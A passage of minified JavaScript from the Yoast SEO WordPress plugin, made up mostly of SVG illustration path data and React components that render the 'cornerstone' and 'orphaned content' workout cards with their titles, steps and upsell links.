7.15zm25.58-4.58c2.38 3.65 14 2.53 14.28-3.35-4.19-9.42-16-4.69-14.28 3.35zm8.47-1.63a3.56 3.56 0 0 1-5.31 1.29c-2.29-1.87-1-6.45 2.58-6a3.57 3.57 0 0 1 2.73 4.71z"}),t.createElement("path",{fill:"#000",d:"M126.72 79.53c1.76-6.07 10.8-8.36 14.4-.27 1.07 2.38.95-6.79-5.3-7.23-3.92-.28-10.17.09-9.49 10a11.4 11.4 0 0 1 .39-2.5zm-27.31.51c-6.34 0-4.24 10.2 1.85 7.15 3.89-1.95 2.23-7.15-1.85-7.15z"}),t.createElement("path",{fill:"#000",d:"M132.6 76.26c-3.61-.44-4.87 4.14-2.58 6a3.4 3.4 0 1 0 2.58-6zm-63.68 47.11c-2.54-10.52-.32-4.66-9.77-9 5.12 9 12.19 18.98 9.77 9zM129 41.1c5.48 7.57 6.11 13.42 5.52 9.56a51.53 51.53 0 0 0-2.44-9.71 16.7 16.7 0 0 1-3.08.15z"}),t.createElement("path",{fill:"#000",d:"M137.16 26.23c3.42-12.58-5.26-13.54-7.57-11.18A10.51 10.51 0 0 0 113.3 5.04c-3.11-5.35-12.48-8.78-24.25 2.14C88-.5 72.44 1.9 70.12 17.68c-5.8 1.09-8.67 4.26-10 6.8-5.74.56-24.3 24.19-25.12 32.06-.51 4.69 2 9.11 3.31 13.65.84 2.89 1.22 6 2.75 8.59 4 6.77 0 3.56 5 2.71 4.44-.75 16.29 5.15 22.4 16 3.66.32 7.38-.9 8.67-5.17 1.72-5.69-6.59-8.6-8.54-13.18-4.08-9.57 10.77-15 12.37-23.84 1-5.78-3.41-11.93-7.06-17.09 1.24 0 2.7.15 4.46.38-.16-.1-.3-.21-.45-.32a17.59 17.59 0 0 0 15.66 2.44 6.35 6.35 0 0 1-4.78 2.95c5.21 3.24 13.15.17 14.83-5.74 1.2 4.84 9.14 8.31 16.65 0a16.12 16.12 0 0 0 18.08.78 11.39 11.39 0 0 1-5.61-4.34c3.19.61 6.37-1.64 7.88-4.5 1.51-2.86 1.74-6.22 1.9-9.46a9.68 9.68 0 0 1-5.36 5.83zm-77.44 3.81-.08-.11.08.11zm-.5-3.51v.09c0-.37.06-.82.09-1.36-.05.48-.07.89-.09 1.24v.03zm14.53 7.72a18.09 18.09 0 0 0 4.06 4 16.75 16.75 0 0 1-4.06-4.03v.03zm-.59-.86.24.35-.24-.35z"}),t.createElement("path",{fill:"#000",d:"M97.49 76.04c-3.73.6-7.38 4.53-6.58 9 1-2.29 1.84-4.94 5.06-6.12 4.28-1.56 11.29-.39 13.75 4.36 1.38 2.65.02-9.24-12.23-7.24z"}),t.createElement("path",{fill:"#EAB881",d:"M73.79 108.19c-.16-1.5-.53-2.05-5.41-10.7-6.11-10.84-17.95-16.75-22.38-16-7.48 1.27-15.82 21.55 15.3 33.82 8.33 3.28 13.12-1.13 12.49-7.12z"}),t.createElement("path",{fill:"#D38053",d:"M96 105.92c2.11-2.9 10.26 2.05 16.39-5.72.79-1 1.41-4 3.31-3.71-5.06-.88-6.61 8.28-14.23 6.32-3.12-.81-9-5.15-10 11.67a58.56 58.56 0 0 1 4.53-8.56zm-33.55-5.55c4.3-10.34-20.92-21.24-19.6-7 .3 3.21 2.29 8.83 5.31 9.81-2.45-5.37.27-12.44 1.57-13.5 2-1.61 4.51.76 7.4 2.9-.13 1.68-2.51 2.46-2.65 4.09-.12 1.31 1.07 2.94 5.05 2a7.72 7.72 0 0 1-2.17 5 5.2 5.2 0 0 0 5.09-3.3zm130.32-29.93a3.7 3.7 0 0 1-.27-3.06c4.45-17.69 1.95-7.91-1.07-3.12-2.38 3.78-3.24 6.3.67 8.22 23 11.28 1.9-.25.67-2.04z"}),t.createElement("path",{fill:"#D38053",d:"M192.25 75.29c-2.41-1-6.47-3.9-6.5-5.61 0-1.15 4.89-8.09 3.9-14.36-1.07 1.71-6.51 12.19-6.39 14.2.23 3.86 9.09 5.81 8.99 5.77zm13.21-25.34c-.16 1.86-6.76 14.12-6.76 18.83.36 1.09 4.49 2.16 4.71 3.29-6.82-5.17 3.5-20.43 2.05-22.12z"})))),u="cornerstone",h="orphaned",f={cornerstone:["chooseCornerstones","checkLinks","addLinks"],orphaned:["improveRemove","update","addLinks"]};function z({workout:e,badges:a,upsellLink:l,upsellText:n}){const s=(0,r.useSelect)((e=>e("yoast-seo/workouts").getFinishedSteps(u))),i=l||"https://yoa.st/workout-cornerstone-upsell";return(0,t.createElement)(o,{id:"cornerstone-workout-card",name:u,title:(0,c.__)("The cornerstone approach","wordpress-seo"),subtitle:(0,c.__)("Rank with articles you want to rank with","wordpress-seo"),usps:[(0,c.__)("Make your important articles rank higher","wordpress-seo"),(0,c.__)("Bring more visitors to your articles","wordpress-seo")],image:d,finishableSteps:f.cornerstone,finishedSteps:s,upsellLink:i,upsellText:n,workout:e,badges:a})}var E;function w(){return w=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var a=arguments[t];for(var l in a)Object.prototype.hasOwnProperty.call(a,l)&&(e[l]=a[l])}return e},w.apply(this,arguments)}z.propTypes={workout:l().func,badges:l().arrayOf(l().element),upsellLink:l().string,upsellText:l().string},z.defaultProps={workout:null,badges:[],upsellLink:null,upsellText:null};const M=e=>t.createElement("svg",w({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 299 322"},e),E||(E=t.createElement("g",{fill:"none",transform:"matrix(-1 0 0 1 298.412 0)"},t.createElement("circle",{cx:131.2,cy:190.029,r:131.2,fill:"#F0ECF0"}),t.createElement("path",{fill:"#F9BF8C",d:"M262.5 92.23c-1 1.2-3 2.9-7.5 5a18.4 18.4 0 0 1-10.9 1.6c-.5-1-1-2.2-1.7-3.3l.4-.2.3-.2a14 14 0 0 0 3.3-.2c2.4.2 4.7-.6 6.9-3.2 3.1-3.9 1.7-10.7-1.3-14.6 2.6 2.5 4 5.7 6.4 8.6a231 231 0 0 1 3.3 4c.1.4 1.5 1.8.8 2.5zm-90.9 98.2a17.1 17.1 0 0 1 4 14.3c-11-7.9-22-18.9-31.8-37.8 26.5 1 39.4 8.8 39.5 8.7 43-17.2 51.7 1.5 66.8-6.3 2.3 4.7 5.3 6.3 8.4 9.4-13.5-13.9 5.7-22-5.1-57.7 7.3 0 20.8-4.8 22.9-9.7 14.8 26.3 10.5 39.9 17.8 54.6.6 1.2 2.3 6.7 3.5 8.2 2 2.8 0 7.7-2.7 10.6-29.7 32.8-68.9 33.6-93.5 36.8-6.4-4.6-13.8-8.5-21.5-13.7-1-5.1-1.2-11.2-8.3-17.4z"}),t.createElement("path",{fill:"#DB7A53",d:"M253.4 121.03c10.8 35.8-8.4 43.8 5.1 57.8-3-3.2-6-4.8-8.4-9.5a52.999 52.999 0 0 1-.3-2.2 50.2 50.2 0 0 1-.4-5v-2l.1-3.6.1-1.8.3-3.7.4-3.7.6-5.6a153.4 153.4 0 0 0 .6-9.5v-2a69 69 0 0 0-.3-7.8l-.2-1.6a10.5 10.5 0 0 0 2.4.3v-.1zm-11-25.6 1.7 3.4h-.1c-1.9-.1-2.3-2.3-2.7-2.6l-.1-.2 1.2-.6z"}),t.createElement("path",{fill:"#DB7A53",d:"M219.7 95.53c-.7-1.6-3-3-5.5-3.6.1-.011.2-.011.3 0a8.4 8.4 0 0 0 5.1-1.3l-.3-.2a1.6 1.6 0 0 0 .2 0 3.3 3.3 0 0 0 2.7-.6 34.2 34.2 0 0 0 6.4-4 5 5 0 0 0 2-2.8l.4.3c-.7 6.5 5.4 11.5 12.1 11.9l-.3.1-.4.2-1.2.6c-3.8 1.9-11 5.7-13.6 5.6-2.9 0-6.9-2.2-9.8-3.9 1.4-.5 2.3-1.2 1.9-2.3z"}),t.createElement("path",{fill:"#F9BF8C",d:"M223.7 76.23v.3a3.7 3.7 0 0 1-.2 1.3c-1.3-.7-2.4-1.5-2.6-2.6a3.2 3.2 0 0 1 .3-1.7 7.1 7.1 0 0 1 2.5 2.7z"}),t.createElement("path",{fill:"#F9BF8C",d:"M253.3 91.73c-2.1 2.6-4.5 3.4-6.9 3.2a13 13 0 0 0 5.2-2.3c-6 2.7-10.5 1.1-13.8-1.5a36.9 36.9 0 0 1-4.7-5.3c-1.1-1.6-1.8-2.8-2.1-2.9a3 3 0 0 0 0 .3l-.3-.3a2.4 2.4 0 0 0-.9-2 10.2 10.2 0 0 0-3.2-1.9 5.5 5.5 0 0 1 2.9.6c1.6.9 1 2.1 1.8 3.1a3.3 3.3 0 0 0 .2-3.7c-.8-1.3-4-1.1-6.1-1.3a2.3 2.3 0 0 0 0-.2l.8-1a1.3 1.3 0 0 1-.7-.8c-.8-1.2-2.4-2-4.2-2.6l.1-.2a16.4 16.4 0 0 1 2.2-3.5c.7-.8 5.5-.3 6.1-.6a21 21 0 0 0 2.5.7l16.8 5.1a7.8 7.8 0 0 1 3 2.5c3 3.9 4.4 10.7 1.3 14.6z"}),t.createElement("path",{fill:"#F9BF8C",d:"M228.6 85.73a34.2 34.2 0 0 1-6.4 4 3.3 3.3 0 0 1-2.6.6c1.5-.6 2.1-2.3.7-2.8l-.8-3.8a10 10 0 0 0 2-.7v.1c.5.8.4 4-.4 4.6 1-.2 2.2-3.1 2.5-4a1.3 1.3 0 0 0-.6-1.5 5.2 5.2 0 0 0 .8-.8 6.7 6.7 0 0 0 1.3-2 6.3 6.3 0 0 1 1.5-.4 10.2 10.2 0 0 1 3.2 1.9 2.4 2.4 0 0 1 .9 2 5 5 0 0 1-2.1 2.8zm-5-16.3a16.4 16.4 0 0 0-2.2 3.5l-.1.2a39 39 0 0 0-2.4-.6 9 9 0 0 1 2.3 1 3.2 3.2 0 0 0-.3 1.7c.3 1.1 1.3 2 2.6 2.6a11.3 11.3 0 0 1-.9 1.8 9.3 9.3 0 0 1-2.7 3.3l-.5.3-3.4-15.4-2.1-.3a4.4 4.4 0 0 1 2.7-1.4 35.6 35.6 0 0 1 13 2.7c-.5.3-5.3-.2-6 .6z"}),t.createElement("path",{fill:"#F9BF8C",d:"M219.4 83.23a6 6 0 0 1-2.8.7 7.8 7.8 0 0 1-1.5-.2 4 4 0 0 0 1.5.2 9.8 9.8 0 0 0 3-.2l.7 3.8c1.4.5.8 2.2-.7 2.8h-.1a1.6 1.6 0 0 1-.2 0 39 39 0 0 0-7-3c-.3-3.4-.6-6.7-2-9.7 1.7-2.8 3.2-5.6 1.7-6.6 0 1.3-1.1 3.4-2.4 5.4a13.3 13.3 0 0 0-1.2-1.7 13 13 0 0 0-5.2-3.6c.8-1.7 1.4-3.5 3.7-3.8a24.3 24.3 0 0 1 6.9.2l2.1.3 3.5 15.4z"}),t.createElement("path",{fill:"#DB7A53",d:"M223.7 76.23a5 5 0 0 1 .6 3.4 7 7 0 0 1 .8-.3 6.7 6.7 0 0 1-1.3 2.1 5.2 5.2 0 0 1-.8.8 1.7 1.7 0 0 0-1.2-.2l-.2 1a10 10 0 0 1-2 .7 9.8 9.8 0 0 1-3 .2 6 6 0 0 0 2.8-.7l.5-.3a9.3 9.3 0 0 0 2.7-3.3 11.3 11.3 0 0 0 1-1.9 3.7 3.7 0 0 0 .1-1.3v-.2zm1.6 1.3c.007.1.007.2 0 .3v-.3z"}),t.createElement("path",{fill:"#DB7A53",d:"M223 82.23c.524.3.773.92.6 1.5-.3.9-1.4 3.8-2.5 4 .8-.7 1-3.8.5-4.6v-.1l.3-1a1.7 1.7 0 0 1 1.1.2z"}),t.createElement("path",{fill:"#F9BF8C",d:"M201.4 91.73a3.1 3.1 0 0 0-.8.7c-2-.9-3.9-2.7-5.7-3.4-.5-.1-2.7-.8-2.9-1.4a13.7 13.7 0 0 0 5.2 2 43 43 0 0 0 4.2 2v.1zm.1-2.2h.1a30.3 30.3 0 0 0 5.4.4 30 30 0 0 0 3.6 1.6c-2.6-.3-5.7-1-8-.4l-2.2-1.3a2.7 2.7 0 0 0 1.1-.3zm13 2.5a1.4 1.4 0 0 0-.3 0 10.6 10.6 0 0 0-2-.4h-.4a26.6 26.6 0 0 1-3-1.8l1.7-.1a3.2 3.2 0 0 0 1.3-.4 1.2 1.2 0 0 0 .5-1l6.7 2.7-6.7-3.6a39 39 0 0 1 7 3c.1.2.3.2.4.3a8.4 8.4 0 0 1-5.2 1.3z"}),t.createElement("path",{fill:"#DB7A53",d:"M225 79.33a7 7 0 0 0-.7.3 5 5 0 0 0-.6-3.4 7.1 7.1 0 0 0-2.5-2.7 9 9 0 0 0-2.2-1l2.3.7c1.8.5 3.4 1.3 4.2 2.6a1.3 1.3 0 0 0 .6.6c.2 0-.5.7-.8 1.1v.3c2.2 0 5.4-.1 6.2 1.2a3.3 3.3 0 0 1-.2 3.8c-.8-1-.2-2.3-1.8-3.2a5.5 5.5 0 0 0-3-.6 6.3 6.3 0 0 0-1.4.3h-.1zm6 3.9a3 3 0 0 1 0-.3c.3 0 1 1.3 2 3a23.8 23.8 0 0 0 4.8 5.2c3.3 2.6 7.8 4.2 13.8 1.6a13 13 0 0 1-5.2 2.2 14 14 0 0 1-3.3.2c-6.7-.4-12.8-5.4-12.1-11.9z"}),t.createElement("path",{fill:"#F9BF8C",d:"M208.4 74.73c.478.53.913 1.099 1.3 1.7-1.4 2.2-3 4.3-3.5 5.3s-1.3 2.6-.3 3.6a38.8 38.8 0 0 0 6.4 3 1.2 1.2 0 0 1-.6 1 3.2 3.2 0 0 1-1.2.4l-1.8.1a14.4 14.4 0 0 0-3.6-1.9 13.4 13.4 0 0 1-3-1.2c0-.9-.3-2.4-.5-4 1.6-3 5-8.2 2.7-10.1.9 1.6-1.4 5.5-3 8l-.8-4a3.8 3.8 0 0 0 0-2 3.5 3.5 0 0 1-.2 1c-.4-1.6-.7-2.6-1-2.7-.9-.3-2 .6-3 2 1-2.2 1.5-4.1 4.7-4.1a7.3 7.3 0 0 1 2.2.4 13 13 0 0 1 5.2 3.5zm-6.1 13a39.6 39.6 0 0 1 4.7 2.2 30.3 30.3 0 0 1-5.3-.5 1.7 1.7 0 0 0 .6-1.7z"}),t.createElement("path",{fill:"#F9BF8C",d:"M207 84.53c-.2-1.3 1.6-4.1 3.3-6.9a27 27 0 0 1 2 9.7l-5.3-2.8zm-7.6-11.7c.3 0 .6 1.2 1 2.7-1.2 2.7-5.5 6.5-6.7 8.9a3.4 3.4 0 0 0-.6 2c.2.7 2 2 4.1 3.2a13.7 13.7 0 0 1-5.2-2l-.4-.3a1.7 1.7 0 0 1-.5-.5 1.5 1.5 0 0 1 0-1.2c.5-1.2 2.8-7.5 5.2-10.9 1-1.3 2.1-2.2 3-1.9h.1z"}),t.createElement("path",{fill:"#F9BF8C",d:"M199.4 86.63a5 5 0 0 0 2 .8l.9.3a1.7 1.7 0 0 1-.7 1.7v.1a2.7 2.7 0 0 1-1.2.3c-1.8-1-3.4-2.1-4.1-2.6-.4-.3-.8-.6-.9-1a1.7 1.7 0 0 1 .4-1c1.2-2 4-5.9 4.7-8.7l.7 4-1 1.5c-1 1.5-2.2 3.5-.8 4.6z"}),t.createElement("path",{fill:"#F9BF8C",d:"M201.2 86.03c-.5-.7-.6-.8-.4-1.7a9.9 9.9 0 0 1 .8-1.6l.5 4a3 3 0 0 1-.9-.7z"}),t.createElement("path",{fill:"#DB7A53",d:"M211.8 91.63h-1.2a30 30 0 0 1-3.6-1.7 39.6 39.6 0 0 0-4.7-2.2l-.8-.3a5 5 0 0 1-2-.8c-1.5-1.1-.3-3 .8-4.6l1-1.4c1.6-2.5 4-6.5 3.1-8 2.2 2-1.2 7-2.8 10.1a9.9 9.9 0 0 0-.7 1.6c-.3.9-.2 1 .4 1.7a3 3 0 0 0 .9.7 13.4 13.4 0 0 0 3 1.3 14.4 14.4 0 0 1 3.6 1.9 26.6 26.6 0 0 0 3 1.7z"}),t.createElement("path",{fill:"#DB7A53",d:"M195.8 85.33a1.7 1.7 0 0 0-.4 1c0 .4.5.7.9.9l4 2.6c.8.5 1.6 1 2.4 1.3a4.2 4.2 0 0 0-1.3.6 43 43 0 0 1-4.2-2c-2.1-1.3-4-2.6-4-3.3a3.4 3.4 0 0 1 .5-2c1.2-2.3 5.5-6.1 6.6-8.8a3.5 3.5 0 0 0 .3-1 3.8 3.8 0 0 1 0 2c-.8 2.8-3.6 6.6-4.8 8.7zm11.2-.8 5.3 2.8 6.7 3.7-6.7-2.6a38.8 38.8 0 0 1-6.4-3c-1-1-.4-2.4.3-3.5l3.5-5.4c1.3-2.2 2.4-4 2.4-5.3 1.5 1 0 3.7-1.8 6.5s-3.6 5.6-3.2 7l-.1-.2z"}),t.createElement("path",{fill:"#F9BF8C",d:"M201.4 91.73a4.2 4.2 0 0 1 1.3-.6c2.2-.5 5.3.1 7.9.4l1.2.1h.4a10.6 10.6 0 0 1 2 .3c2.4.6 4.8 2 5.4 3.6.5 1-.5 1.8-1.8 2.2a11.1 11.1 0 0 1-2 .4c-4.2.6-5.5 2-11.5 2.8-2.6.4-4.4-4-4.4-5.9a4.2 4.2 0 0 1 .7-2.6 3.1 3.1 0 0 1 .8-.7z"}),t.createElement("path",{fill:"#A52A6A",d:"M253.4 121.03a10.5 10.5 0 0 1-2.4-.2 5.3 5.3 0 0 1-.7-.2c-2.4-.9-8.6-17.6-9.3-21-.3-1.2-.3-3.5.3-3.4.3.3.8 2.5 2.7 2.5h.1a18.4 18.4 0 0 0 10.9-1.5c4.6-2.1 6.6-3.8 7.6-5 .6-.8-.7-2.2-.9-2.5.4-.4 1.3.1 1.7.3 5.9 2.8 10.2 12.7 13.1 19.4a2.9 2.9 0 0 1-.1 1.9c-2.1 5-15.6 9.8-23 9.8v-.1z"}),t.createElement("path",{fill:"#DB7A53",d:"M171.6 190.43c7 6.2 7.3 12.3 8.3 17.4l-4.4-3a17 17 0 0 0-3.9-14.4z"}),t.createElement("path",{fill:"#009288",d:"m41.3 265.93-.5.2c6.5 8.6 14.1 17.5 21 30.5a28.8 28.8 0 0 1 2.8 7.7c45.714 25.792 102.423 21.736 144-10.3-.8-3.5-1.7-7.1-2.8-11 12.67-7.311 18.506-22.484 14-36.4a43 43 0 0 0-18.4-25.1c-6.4-4.6-13.8-8.5-21.5-13.7l-4.4-3c-10.8-8-22-19-31.7-37.9l-.1-.2a71 71 0 0 0-19.9-2.3c12 5.8 41 37 4.2 43-29 3.1-47.3-27.9-84-28.7a47.8 47.8 0 0 0-13.5 9.4l-1 1a37 37 0 0 1 4.7-2c16.4 1 27 15.3 32.9 30.3 10.3 26.2 6.2 44.7-2.6 50.6-5.3 3.6-13.3 2.7-20-3.7l-1.5.7-1 .6-.7.3z"}),t.createElement("path",{fill:"#F9BF8C",d:"M29.5 189.23a37 37 0 0 1 4.5-2.2c16.4 1 27 15.3 33 30.3 10.3 26.2 6.2 44.7-2.6 50.6-5.3 3.6-13.4 2.7-20-3.7l-1.5.7c6.9-5.7 4.9-6.8 18-4.4-10.8-6.4-16.1-9.1-38.7 6.1a122.2 122.2 0 0 1-21.4-53.5 133 133 0 0 1 28.7-24.1v.2z"}),t.createElement("path",{fill:"#DB7A53",d:"M61 260.63c-13.2-2.4-11.1-1.3-18 4.4l-1 .6-.6.2-.6.3-.5.3-.6.3-1.1.6-.7.3-1 .6-.7.4-1.2.6-.6.3-1.3.7-.6.3-1.3.7-.5.3-1.4.8-.3.1-1.6 1-.6-.9-4.5-5.8c22.6-15.2 27.9-12.4 38.7-6v-.1z"}),t.createElement("path",{fill:"#F9BF8C",d:"M128 207.43c-29.2 3.1-47.5-28.2-84.5-28.7 14.2-5.2 23-11.3 23-27.1 0-8.8-2.7-25.8-3.6-38.2 0 0 57 21.4 57.8 36.1l2 14.3c11.2 4.3 43.3 37.4 5.3 43.6z"}),t.createElement("path",{fill:"#DB7A53",d:"M87.3 151.73a56.8 56.8 0 0 1-17.1-22.8 62.4 62.4 0 0 0 43 22c2.5-.1 5-.2 7.3-.5v.5l.2 1.2c-4.7 11.9-7.3 19.5-33.4-.4z"}),t.createElement("path",{fill:"#216D64",d:"M162 280.43c.5 7.4-16.2 16.2-30.8 17.3-19.8 1.4-54.8-9.2-48-40.7 18.2 35 68.8 31.3 78.8 23.4z"}),t.createElement("path",{fill:"#F9BF8C",d:"M122.5 72.33a9.8 9.8 0 0 0-2.1-.8h2.6l-.5.8zm-9.9.8a4.8 4.8 0 0 0-.6-1.7c7.3 0 4-.6.6 1.7zm12.6 14 .8.8c-.9-1.5-1.5-4.6-2.9-12.6l-.4-.3a16 16 0 0 0 2.5 12.1z"}),t.createElement("path",{fill:"#F9BF8C",d:"M154.7 95.83a44.5 44.5 0 0 0-1.6-8.2c-2-6-4.8-6.6-7.3-9.6a50.6 50.6 0 0 0-1-23.9c0 .1-8.7-35.8-54.2-22a44.6 44.6 0 0 0-10 5.9c-10.6 8.2-7.6 13.4-10 25.4a74.9 74.9 0 0 1-4.4 11.9c-4.8 3.8-7.6 6.5-8.1 9.9 1 4.7 5.4 18.3 5 28.1 6 27.2 36.6 38.3 50 37.6 2.6-.1 5-.2 7.4-.5 6.5-.7 11.9-2.8 17-11.3 6.4-10.8 5.6-16.5 9.4-22.5 2.5-4.1 9-9.7 7.8-20.8zm-42.2-19.5c-1 7.6-2.5 10.5-5.3 11.4a18.3 18.3 0 0 0 1.3-3.3c-4.6 2.5-17 2.8-21.2-3-.9.4-2 .4-4-.6l.2-.1c4.2-.1 2.6-1 4.1-3.8a10.6 10.6 0 0 1 .6-1h17.1a11 11 0 0 1 3.8 6.7 58.3 58.3 0 0 0 1.2-6.8l3-.2-.8.7z"}),t.createElement("path",{fill:"#D86060",d:"M112.6 124.23c-4-2-5.6-6.3-11.6-10.8 10 5.2 19.3 6.3 26.5 3.8-1.7 1.7 1.2 6.3-3.5 8.4-4 1.7-7.3.5-11.4-1.4z"}),t.createElement("path",{fill:"#BC3939",d:"m101 113.43-1.6-.8c7.9-.3 12.9-.7 17.2-.3 2.2.3 2.2 2 3.8 2 1.6 0 2.7-1.6 4.4-1.4 1.2.2 3 1.1 5.6 3a20.3 20.3 0 0 1-2.9 1.2c-7.2 2.6-16.6 1.5-26.5-3.7z"}),t.createElement("path",{fill:"#FFF",d:"m108.5 84.43.2-.5a15.2 15.2 0 0 0-2.3-3.8c-5-5.8-13.6-5.1-16.5-1.6-.9 1.3-1.5 2.4-2.6 3 4.1 5.7 16.6 5.4 21.2 3v-.1zM97 85.63a4.8 4.8 0 1 1 .408-9.592A4.8 4.8 0 0 1 97 85.629z"}),t.createElement("path",{fill:"#000",d:"M89.9 78.53c-.9 1.3-1.5 2.4-2.6 3-1.1.6-2 .2-4-.7l.2-.2c4.2 0 2.6-1 4.1-3.7 2.8-5.2 9-4.8 14.6-3 .1 0 5.9 2.4 6.8 8.7l-.3 1.2a14.4 14.4 0 0 0-2.3-3.7c-5-5.8-13.6-5.1-16.5-1.6z"}),t.createElement("path",{fill:"#FFF",d:"M127.5 83.03h-.1a27 27 0 0 0 11.6.6c2.7-1 4.8-4 5-6.8-1.8-1.2-2.8-4.6-8.2-2.9-5 1.6-7 4.2-8.3 9v.1zm2.8-3.7a4.4 4.4 0 1 1 8.798-.2 4.4 4.4 0 0 1-8.798.2z"}),t.createElement("path",{fill:"#000",d:"M145.1 75.33c0 .5.5.7 1 .9a8 8 0 0 0 1.2.1l.1.2a5 5 0 0 1-1.4.6 2.4 2.4 0 0 1-2-.4c-1.8-1.2-2.8-4.6-8.2-2.8-4.9 1.6-7 4.2-8.3 9h-.2c-1.2-6.7 4-11.3 9-12.5l3.1-.2c2.8.2 5.2 1.8 5.7 5.1z"}),t.createElement("path",{fill:"#B2512B",d:"M106.7 61.53c-4 0-8.2-.4-11.7-.3-3.6.1-8.3 1.7-12.8 4.6 1.9-4 8.5-7.2 12.5-7.7 2.9-.3 6.8-.7 9.7-.2 3.7.7 5.6 3.1 2.3 3.6zm24.7 5.6c2.3-2.6 6.8-6.2 9.4-5.8 3 .4 3.5 1.2 5.4 3.6.056.898.056 1.8 0 2.7H145a7.6 7.6 0 0 0-4.7-2.2c-1.9-.1-7 1.2-8.8 1.7h-.1z"}),t.createElement("circle",{cx:97.1,cy:80.829,r:4.8,fill:"#000",transform:"rotate(-78.1 97.1 80.83)"}),t.createElement("circle",{cx:134.7,cy:79.329,r:4.4,fill:"#000"}),t.createElement("path",{fill:"#DB7A53",d:"M106.3 109.73a40 40 0 0 1-10.3-1.3c-1.9 2-.1 6.6-.7 9.2-1-3.4-4-8-2.2-12.4a28.7 28.7 0 0 0 13.2-1c9-2.8 6.6-6.2 12.6-6.5-5.2 1-4.4 11.4-12.6 12z"}),t.createElement("path",{fill:"#838BC5",d:"M54 29.03c3-3.6 13.5-5.8 20-6-.5 1.3 4.5 2.7 4 4a37.3 37.3 0 0 0 8.4-.2 3.5 3.5 0 0 0 .4 2.7l3.8 2.6a44.6 44.6 0 0 0-10.1 5.9c-10.5 8.2-7.5 13.4-9.9 25.4a74.9 74.9 0 0 1-4.4 11.9l-12.4 7a10.3 10.3 0 0 0-5.3-.7l-.3-.4c-2.2-4-6.8-14.2-7.2-18.8-1.4-11.4 1.2-25 10-32.4a18.5 18.5 0 0 1 3-2 9.8 9.8 0 0 0 .1 1H54zm2.7 55 1.4.7 3.5-1.6a5.5 5.5 0 0 1-2.4 1.9 10.4 10.4 0 0 1-1.2.2l-1.2-1.2h-.1z"}),t.createElement("path",{fill:"#0071BC",d:"M127 22.23c-7.5-4.7-7-2-15.6-4l5.2-.4c-13.3-1-28.6 3.4-30.1 9a37.3 37.3 0 0 1-8.4.2c.5-1.3-4.6-2.6-4-4-6.6.2-17 2.4-20.1 6a9.8 9.8 0 0 1 0-1c0-8.2 10.8-17.8 30.3-15.8 13.4-14.3 42.4-21 61 8.1-13-7.3-16.2-.2-19.3.8 7.8-1.6 27.3 3 28.9 24.3-1.7-7.8-8.4-8.6-13.6-8-1.7-2.3-3.5-4.3-4.9-5.9-4.5-5.2-3.5-5.7-9.4-9.3z"}),t.createElement("path",{fill:"#0071BC",d:"M137.4 46.73c3.4 14.5-3.1 19.3-22.4 18.8 12.5-8.9 11.5-19.3 2-26.1-8.2-6-14 .2-26.4-7.3a46 46 0 0 1-3.8-2.6 3.5 3.5 0 0 1-.3-2.7c1.5-5.6 16.8-10 30-9l-5 .3c8.6 2.2 8-.6 15.5 4 5.9 3.7 4.9 4.2 9.4 9.5 1.4 1.6 3.2 3.5 4.8 5.8 3 4.2 5.5 9.6 3.5 16.7a26 26 0 0 1-2.6 6.2 14.6 14.6 0 0 0-4.7-13.6z"}),t.createElement("path",{fill:"#DB7A53",d:"M126.1 69.33h-.7a14.6 14.6 0 0 1 3.2-1.7 14.8 14.8 0 0 0-2.5 1.7zm-.9 17.8.8.8c1.2 1.8 2.7 1.5 6.3 4.8l.6.2c1.8 1.7 2.8 3.7 2 6.4-.2 3.2-5.3 8.2-12 5.8 5.3-1 6.9-.8 7.6-5.6-.2-6.7-8.3-4-10-16.5a17.3 17.3 0 0 1 .9-8.8 9 9 0 0 1 1.3.8 16 16 0 0 0 2.5 12.1zm-2.1-14.5a6.3 6.3 0 0 0-.6-.3l.5-.9c1 0 .4.2.1 1.2z"}),t.createElement("path",{fill:"#93278F",d:"M56.7 84.03a12.7 12.7 0 0 0-3-1.7l12.4-7 9.2-5.2c-1.3 1.7-1.6 4.2-1.1 7l-12.6 6-3.5 1.7-1.4-.8z"}),t.createElement("path",{fill:"#5D237A",d:"M151 92.03c5.5-1.8 14.3-20.4 5.8-23.5-5.4-2-24.6-.6-29.9.8-29.7-.4-42.2-3.3-49.3-.7a5 5 0 0 0-2.3 1.6c-4.3 5.5 3.1 20.2 8 21.8a46.3 46.3 0 0 0 12.5 1.6c11.6 0 14.8-2.2 16.6-17.3 1-.6 4.4-4.3 9-2a10.6 10.6 0 0 1 1.8 1c2.9 17.6 2.5 11.3 9.1 17.5l.6.1c5.8 1.4 13.9.5 18.1-.9zm-40.5-17.9c-.4 3.6-1.7 13.4-4.8 15.4-4.2 2.8-17 2-21.7.4-4-1.4-11.5-17.2-5.7-19.3 5.6-2 23.8 0 29.6.6 0 .2 2.8.3 2.6 3v-.1zm2.1-1a4.8 4.8 0 0 0-.6-1.8c7.3.2 4-.5.6 1.8zm10.5-.5a10 10 0 0 0-2.7-1.2c4.2.1 3.1-.3 2.7 1.2zm27.2 17.4c-4.7 1.6-16.3 2.5-20.6-.4-1-.7-2.8-5.1-4.5-15.3-.4-2.8 2.6-2.5 2.6-2.8.9-.2 4.3-.7 8.5-1 4.2-.3 15.6-1.2 19.7.2 5.8 2.1-1.6 18-5.7 19.3z"}),t.createElement("path",{fill:"#F9BF8C",d:"M45.5 82.33c-4.2 1.7-4.4 10-3 14.8 2.8 9.2 12 17.6 21.7 16.1 5.2-.7 1.5-5.7-1-16.4l-1-5.6c-3.3-7-9.4-11.7-16.7-8.9zm13.2 13c-.4.4-4.4 3.1-1.2 5 2.2 1.5 4 .5 3.6 2.6-.3 1.4 0 3.3-2 3 2-3-1.1-4-3-2.9s-5.7-5.3.9-8.2c-4-4.8-7.5-12.8-10-.5-3-9.7 3.6-17.3 11.7 1z"}),t.createElement("path",{fill:"#CE6D42",d:"M58.7 95.33c-.4.4-4.4 3.1-1.2 5 2.2 1.5 4 .5 3.6 2.6-.3 1.4 0 3.3-2 3 2-3-1.1-4-3-2.9s-5.7-5.3.9-8.2c-4-4.8-7.5-12.8-10-.5-3-9.7 3.6-17.3 11.7 1z"}))));function g({workout:e,badges:a,upsellLink:l,upsellText:n}){const s=(0,r.useSelect)((e=>e("yoast-seo/workouts").getFinishedSteps(h))),i=l||"https://yoa.st/workout-orphaned-content-upsell";return(0,t.createElement)(o,{id:"orphaned-workout-card",name:h,title:(0,c.__)("Orphaned content","wordpress-seo"),subtitle:(0,c.__)("Clean up your 